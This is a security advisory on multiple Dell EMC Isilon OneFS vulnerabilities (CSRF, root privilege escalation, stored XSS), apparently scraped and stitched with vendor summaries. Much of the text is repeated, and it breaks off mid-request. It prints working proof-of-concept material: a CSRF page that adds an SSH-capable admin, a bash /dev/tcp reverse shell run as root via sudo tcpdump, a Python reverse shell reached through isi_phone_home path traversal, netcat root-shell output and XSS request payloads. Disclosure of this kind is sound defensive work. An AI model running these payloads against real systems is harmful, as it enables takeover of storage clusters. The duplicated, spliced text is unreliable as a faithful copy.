(AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Path Traversal Vulnerability (CVE-2018-1204) Dell EMC Isilon OneFS is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious user may potentially exploit these vulnerability to send unauthorized requests to the server on behalf of authenticated users of the application. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) . Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. **Persistent cross-site scripting in the Network Configuration page** [CVE-2018-1187] The description parameter of the /network/groupnets endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. **Persistent cross-site scripting in the Job Operations page** [CVE-2018-1201] The description parameter of the /job/policies endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Dell EMC sent a schedule for fixing six of the reported vulnerabilities, with specific dates for every product's version. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-19: Dell EMC sent a schedule for the remaining three reported vulnerabilities, with specific dates for every product's version. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Dell EMC Isilon versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a cross-site scripting vulnerability in the Job Operations Page within the OneFS web administration interface. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. Dell EMC Isilon Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS web administration interface is one of the web management interfaces. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. CVSS v3 Base Score: 6.7 (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Path Traversal Vulnerability (CVE-2018-1204) Dell EMC Isilon OneFS is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious user may potentially exploit these vulnerability to send unauthorized requests to the server on behalf of authenticated users of the application. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) . Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. **Persistent cross-site scripting in the Network Configuration page** [CVE-2018-1187] The description parameter of the /network/groupnets endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 